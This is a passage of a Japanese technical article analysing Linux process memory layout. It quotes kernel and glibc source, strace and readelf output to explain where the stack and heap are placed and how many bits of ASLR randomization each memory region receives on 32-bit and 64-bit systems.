723 stack_expand = 131072UL; /* randomly 32*4k (or 2*64k) pages */ 724 stack_size = vma->vm_end - vma->vm_start; 725 /* 726 * Align this down to a page boundary as expand_stack 727 * will align it up. 728 */ 729 rlim_stack = rlimit(RLIMIT_STACK) & PAGE_MASK; 730 #ifdef CONFIG_STACK_GROWSUP 731 if (stack_size + stack_expand > rlim_stack) 732 stack_base = vma->vm_start + rlim_stack; 733 else 734 stack_base = vma->vm_end + stack_expand; 735 #else 736 if (stack_size + stack_expand > rlim_stack) 737 stack_base = vma->vm_end - rlim_stack; 738 else 739 stack_base = vma->vm_start - stack_expand; 740 #endif 741 current->mm->start_stack = bprm->p; 742 ret = expand_stack(vma, stack_base);
ここではstack_expand = 131072UL == 0x20000UL
かつrlim_stack == 0x800000
であるから、stack_base == vma->vm_start - stack_expand
となる。
これにguard pageとして確保される領域のサイズ0x1000をさらに引くと0x7ffffffde000となり、確認したスタック領域のアドレスと一致する。
ヒープ領域のメモリ配置について
ヒープ領域のベースアドレスは、基本的にはbssセグメントのあるページの次のページとなる。 これは、ヒープ領域がbrkシステムコールを使って確保されるためである。 brkシステムコールはデータセグメントの境界を変更するものであり、ヒープ領域はこの境界を拡張する形で確保される。
ヒープ領域の確保は、初めてmalloc関数が呼ばれたタイミングで行われる。 具体的には、mallocのエイリアスであるpublic_mALLOcから、_int_malloc、sYSMALLOcの順の進み、次のコードでメモリ領域が確保されることになる。
/* Request enough space for nb + pad + overhead */ size = nb + mp_.top_pad + MINSIZE; /* If contiguous, we can subtract out existing space that we hope to combine with new space. We add it back later only if we don't actually get contiguous space. */ if (contiguous(av)) size -= old_size; /* Round to a multiple of page size. If MORECORE is not contiguous, this ensures that we only call it with whole-page arguments. And if MORECORE is contiguous and this is not first time through, this preserves page-alignment of previous calls. Otherwise, we correct to page-align below. */ size = (size + pagemask) & ~pagemask; /* Don't try to call MORECORE if argument is so big as to appear negative. Note that since mmap takes size_t arg, it may succeed below even if we cannot call MORECORE. */ if (size > 0) brk = (char*)(MORECORE(size));
ここで、nb + mp_.top_pad + MINSIZE
は「mallocで要求されたサイズ+領域を取得する際のベースサイズ+malloc_chunkの最小サイズ」を意味する。
最初に書いたコードではnb == 20
であり、malloc_chunkの定義からMINSIZE == 32
である。
そして、mp_.top_pad
のデフォルト値はDEFAULT_TOP_PAD
であり、これは次のように定義されている。
#ifndef DEFAULT_TOP_PAD # define DEFAULT_TOP_PAD 131072 #endif
したがって、size == 20 + 131072 + 32 == 0x20034
となり、ページサイズの倍数に揃えられることでこれは0x21000となる。
メモリの確保はMORECORE(size)
により行われるが、これに関する定義をまとめると次のようになる。
#define MORECORE (*__morecore) void *(*__morecore)(ptrdiff_t) = __default_morecore;
/* Allocate INCREMENT more bytes of data space, and return the start of data space, or NULL on errors. If INCREMENT is negative, shrink data space. */ __malloc_ptr_t __default_morecore (increment) __malloc_ptrdiff_t increment; { __malloc_ptr_t result = (__malloc_ptr_t) __sbrk (increment); if (result == (__malloc_ptr_t) -1) return NULL; return result; } libc_hidden_def (__default_morecore)
/* Extend the process's data space by INCREMENT. If INCREMENT is negative, shrink data space by - INCREMENT. Return start of new space allocated, or -1 for errors. */ void * __sbrk (intptr_t increment) { void *oldbrk; /* If this is not part of the dynamic library or the library is used via dynamic loading in a statically linked program update __curbrk from the kernel's brk value. That way two separate instances of __brk and __sbrk can share the heap, returning interleaved pieces of it. */ if (__curbrk == NULL || __libc_multiple_libcs) if (__brk (0) < 0) /* Initialize the break. */ return (void *) -1; if (increment == 0) return __curbrk; oldbrk = __curbrk; if ((increment > 0 ? ((uintptr_t) oldbrk + (uintptr_t) increment < (uintptr_t) oldbrk) : ((uintptr_t) oldbrk < (uintptr_t) -increment)) || __brk (oldbrk + increment) < 0) return (void *) -1; return oldbrk; } libc_hidden_def (__sbrk) weak_alias (__sbrk, sbrk)
つまり、sbrk関数を経由してbrkシステムコールが呼ばれることになる。 brkシステムコールは変更後の境界のアドレスを引数に取る。 一方、sbrk関数は増分を引数に取り、brkシステムコールを2度呼ぶことにより境界のアドレスを増減させる関数である。
setarchコマンドでASLRを無効にした上で、straceコマンドにより実行時のシステムコールをトレースしてみる。
$ setarch x86_64 -R strace ./a.out >/dev/null execve("./a.out", ["./a.out"], [/* 18 vars */]) = 0 ... brk(0) = 0x602000 brk(0x623000) = 0x623000 fstat(1, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0 ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fffffffe478) = -1 ENOTTY (Inappropriate ioctl for device) mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff7000 write(1, "Hello, world!\n", 14) = 14 exit_group(0) = ?
上の結果から、mallocが呼ばれるタイミングでbrkシステムコールが2度呼ばれ、0x21000だけヒープ領域が確保されていることがわかる。 具体的には、一度目のbrkで現在の境界アドレスを取得し、二度目のbrkで増減後の境界アドレスがセットされている。
ASLRによるアドレスのランダム化
基本的に、binfmt_elf.cのload_elf_binary関数でELFファイルが読み込まれる際に行われる。
PIEの場合の実行ファイル
load_elf_binary関数の次の箇所が関係する。
795 vaddr = elf_ppnt->p_vaddr; 796 if (loc->elf_ex.e_type == ET_EXEC || load_addr_set) { 797 elf_flags |= MAP_FIXED; 798 } else if (loc->elf_ex.e_type == ET_DYN) { 799 /* Try and get dynamic programs out of the way of the 800 * default mmap base, as well as whatever program they 801 * might try to exec. This is because the brk will 802 * follow the loader, and is not movable. */ 803 #ifdef CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE 804 /* Memory randomization might have been switched off 805 * in runtime via sysctl or explicit setting of 806 * personality flags. 807 * If that is the case, retain the original non-zero 808 * load_bias value in order to establish proper 809 * non-randomized mappings. 810 */ 811 if (current->flags & PF_RANDOMIZE) 812 load_bias = 0; 813 else 814 load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); 815 #else 816 load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); 817 #endif 818 } 819 820 error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, 821 elf_prot, elf_flags, 0); 822 if (BAD_ADDR(error)) { 823 send_sig(SIGKILL, current, 0); 824 retval = IS_ERR((void *)error) ? 825 PTR_ERR((void*)error) : -EINVAL; 826 goto out_free_dentry; 827 }
これはELFのプログラムヘッダでタイプがPT_LOADとなっているエントリを読み込む箇所である。
PIEの場合ELF自身のタイプはET_DYNとなるため、load_bias
は0となる。
そして、次に示すelf_map関数から、mmapによってメモリ領域が確保される。
335 static unsigned long elf_map(struct file *filep, unsigned long addr, 336 struct elf_phdr *eppnt, int prot, int type, 337 unsigned long total_size) 338 { 339 unsigned long map_addr; 340 unsigned long size = eppnt->p_filesz + ELF_PAGEOFFSET(eppnt->p_vaddr); 341 unsigned long off = eppnt->p_offset - ELF_PAGEOFFSET(eppnt->p_vaddr); 342 addr = ELF_PAGESTART(addr); 343 size = ELF_PAGEALIGN(size); 344 345 /* mmap() will return -EINVAL if given a zero size, but a 346 * segment with zero filesize is perfectly valid */ 347 if (!size) 348 return addr; 349 350 /* 351 * total_size is the size of the ELF (interpreter) image. 352 * The _first_ mmap needs to know the full size, otherwise 353 * randomization might put this image into an overlapping 354 * position with the ELF binary image. (since size < total_size) 355 * So we first map the 'big' image - and unmap the remainder at 356 * the end. (which unmap is needed for ELF images with holes.) 357 */ 358 if (total_size) { 359 total_size = ELF_PAGEALIGN(total_size); 360 map_addr = vm_mmap(filep, addr, total_size, prot, type, off); 361 if (!BAD_ADDR(map_addr)) 362 vm_munmap(map_addr+size, total_size-size); 363 } else 364 map_addr = vm_mmap(filep, addr, size, prot, type, off); 365 366 return(map_addr); 367 }
ここで、PIEでコンパイルした実行ファイルのプログラムヘッダを調べてみる。
$ gcc -fPIE -pie hello.c $ readelf -l a.out Elf file type is DYN (Shared object file) Entry point 0x6c0 There are 9 program headers, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R E 8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x00000000000009cc 0x00000000000009cc R E 200000 LOAD 0x0000000000000e00 0x0000000000200e00 0x0000000000200e00 0x0000000000000238 0x0000000000000248 RW 200000 DYNAMIC 0x0000000000000e28 0x0000000000200e28 0x0000000000200e28 0x0000000000000190 0x0000000000000190 RW 8 NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 0x0000000000000044 0x0000000000000044 R 4 GNU_EH_FRAME 0x00000000000008fc 0x00000000000008fc 0x00000000000008fc 0x000000000000002c 0x000000000000002c R 4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 8 GNU_RELRO 0x0000000000000e00 0x0000000000200e00 0x0000000000200e00 0x0000000000000200 0x0000000000000200 R 1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .ctors .dtors .jcr .dynamic .got
LOAD
となっているエントリは二つあり、それぞれ実行可能領域、実行不可領域に対応している。
また、VirtAddr (vaddr)、FileSiz (size) はそれぞれ0、0x9ccおよび0x200e00、0x238となっている。
したがって、ページ境界へのアラインメントも考慮すると、まずaddr = mmap(0, 0x1000, ...)
に相当する処理が呼ばれることになる。
この後、load_addr_set = 1
およびload_bias = addr
が行われるため、次のPT_LOADエントリについてはelf_flagsにMAP_FIXEDがセットされた上でmmap(load_bias + 0x200000, 0x1000, ...)
が呼ばれる。
よって、ランダム化が行われるbit数はmmapで確保される場合のbit数と同じである。
具体的なbit数については次で説明する。
共有ライブラリなどmmapで確保される領域
load_elf_binary関数から、setup_new_exec関数、arch_pick_mmap_layout関数、mmap_base関数の順に進みランダム化される。 32bit環境の場合8bit、64bit環境の場合28bit。
735 setup_new_exec(bprm);
1103 arch_pick_mmap_layout(current->mm);
68 static unsigned long mmap_rnd(void) 69 { 70 unsigned long rnd = 0; 71 72 /* 73 * 8 bits of randomness in 32bit mmaps, 20 address space bits 74 * 28 bits of randomness in 64bit mmaps, 40 address space bits 75 */ 76 if (current->flags & PF_RANDOMIZE) { 77 if (mmap_is_ia32()) 78 rnd = get_random_int() % (1<<8); 79 else 80 rnd = get_random_int() % (1<<28); 81 } 82 return rnd << PAGE_SHIFT; 83 } 84 85 static unsigned long mmap_base(void) 86 { 87 unsigned long gap = rlimit(RLIMIT_STACK); 88 89 if (gap < MIN_GAP) 90 gap = MIN_GAP; 91 else if (gap > MAX_GAP) 92 gap = MAX_GAP; 93 94 return PAGE_ALIGN(TASK_SIZE - gap - mmap_rnd()); 95 } ... 109 /* 110 * This function, called very early during the creation of a new 111 * process VM image, sets up which VM layout function to use: 112 */ 113 void arch_pick_mmap_layout(struct mm_struct *mm) 114 { 115 mm->mmap_legacy_base = mmap_legacy_base(); 116 mm->mmap_base = mmap_base(); 117 118 if (mmap_is_legacy()) { 119 mm->mmap_base = mm->mmap_legacy_base; 120 mm->get_unmapped_area = arch_get_unmapped_area; 121 } else { 122 mm->get_unmapped_area = arch_get_unmapped_area_topdown; 123 } 124 }
スタック領域
load_elf_binary関数において、randomize_stack_top関数によりページ単位でランダム化が行われる。 ただし、ランダム値がunsigned intすなわち32bit符号なし整数として定義されているため、ランダム化の上限は20bitとなる。 さらに、setup_arg_pages関数内で、arch_align_stack関数によりランダム化が行われるが、ページ境界へのアラインメントが行われるため全体には影響しない。 32bit環境の場合11bit、64bit環境の場合20bit。
- Linux/fs/binfmt_elf.c
- Linux/fs/exec.c
- Linux/arch/x86/kernel/process.c
- Linux/arch/x86/include/asm/elf.h
- Linux/arch/x86/include/asm/page_types.h
- Linux/include/linux/mm.h
- Linux/include/linux/kernel.h
- Linux/include/uapi/linux/kernel.h
555 static unsigned long randomize_stack_top(unsigned long stack_top) 556 { 557 unsigned int random_variable = 0; 558 559 if ((current->flags & PF_RANDOMIZE) && 560 !(current->personality & ADDR_NO_RANDOMIZE)) { 561 random_variable = get_random_int() & STACK_RND_MASK; 562 random_variable <<= PAGE_SHIFT; 563 } 564 #ifdef CONFIG_STACK_GROWSUP 565 return PAGE_ALIGN(stack_top) + random_variable; 566 #else 567 return PAGE_ALIGN(stack_top) - random_variable; 568 #endif 569 } 570 571 static int load_elf_binary(struct linux_binprm *bprm) 572 { ... 737 /* Do this so that we can load the interpreter, if need be. We will 738 change some of these later */ 739 retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP), 740 executable_stack); 741 if (retval < 0) { 742 send_sig(SIGKILL, current, 0); 743 goto out_free_dentry; 744 } 745 746 current->mm->start_stack = bprm->p; ... 1007 }
675 stack_top = arch_align_stack(stack_top); 676 stack_top = PAGE_ALIGN(stack_top); 677 678 if (unlikely(stack_top < mmap_min_addr) || 679 unlikely(vma->vm_end - vma->vm_start >= stack_top - mmap_min_addr)) 680 return -ENOMEM; 681 682 stack_shift = vma->vm_end - stack_top; 683 684 bprm->p -= stack_shift; 685 mm->arg_start = bprm->p;
456 unsigned long arch_align_stack(unsigned long sp) 457 { 458 if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space) 459 sp -= get_random_int() % 8192; 460 return sp & ~0xf; 461 }
290 /* 1GB for 64bit, 8MB for 32bit */ 291 #define STACK_RND_MASK (test_thread_flag(TIF_ADDR32) ? 0x7ff : 0x3fffff)
8 #define PAGE_SHIFT 12 9 #define PAGE_SIZE (_AC(1,UL) << PAGE_SHIFT)
73 #define PAGE_ALIGN(addr) ALIGN(addr, PAGE_SIZE)
49 #define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
9 #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) 10 #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
ヒープ領域
load_elf_binary関数において、arch_randomize_brk関数によってランダム化される。 32bit環境、64bit環境どちらの場合も13bit。
957 #ifdef arch_randomize_brk 958 if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) { 959 current->mm->brk = current->mm->start_brk = 960 arch_randomize_brk(current->mm); 961 #ifdef CONFIG_COMPAT_BRK 962 current->brk_randomized = 1; 963 #endif 964 } 965 #endif
463 unsigned long arch_randomize_brk(struct mm_struct *mm) 464 { 465 unsigned long range_end = mm->brk + 0x02000000; 466 return randomize_range(mm->brk, range_end, 0) ? : mm->brk; 467 }
1691 /* 1692 * randomize_range() returns a start address such that 1693 * 1694 * [...... <range> .....] 1695 * start end 1696 * 1697 * a <range> with size "len" starting at the return value is inside in the 1698 * area defined by [start, end], but is otherwise randomized. 1699 */ 1700 unsigned long 1701 randomize_range(unsigned long start, unsigned long end, unsigned long len) 1702 { 1703 unsigned long range = end - len - start; 1704 1705 if (end <= start + len) 1706 return 0; 1707 return PAGE_ALIGN(get_random_int() % range + start); 1708 }
ランダム化bit数のまとめ
PIE実行ファイル 共有ライブラリ | スタック領域 | ヒープ領域 | |
---|---|---|---|
32bit | 8bit | 11bit | 13bit |
64bit | 28bit | 20bit | 13bit |
関連リンク
- H. J. Lu - PATCH: Getting MAXPAGESIZE from ELF_MAXPAGESIZE
- プログラムはどう動くのか? ~ ELFの黒魔術をかいまみる
- malloc(3)のメモリ管理構造 | VA Linux Systems Japan株式会社
- ASLR, setarch -RL, prelink, PIE and LD_USE_LOAD_BIAS - memologue
- Linux kernel ASLR Implementation | xorl %eax, %eax
- Stack Smashing as of Today (Black Hat Europe 2009)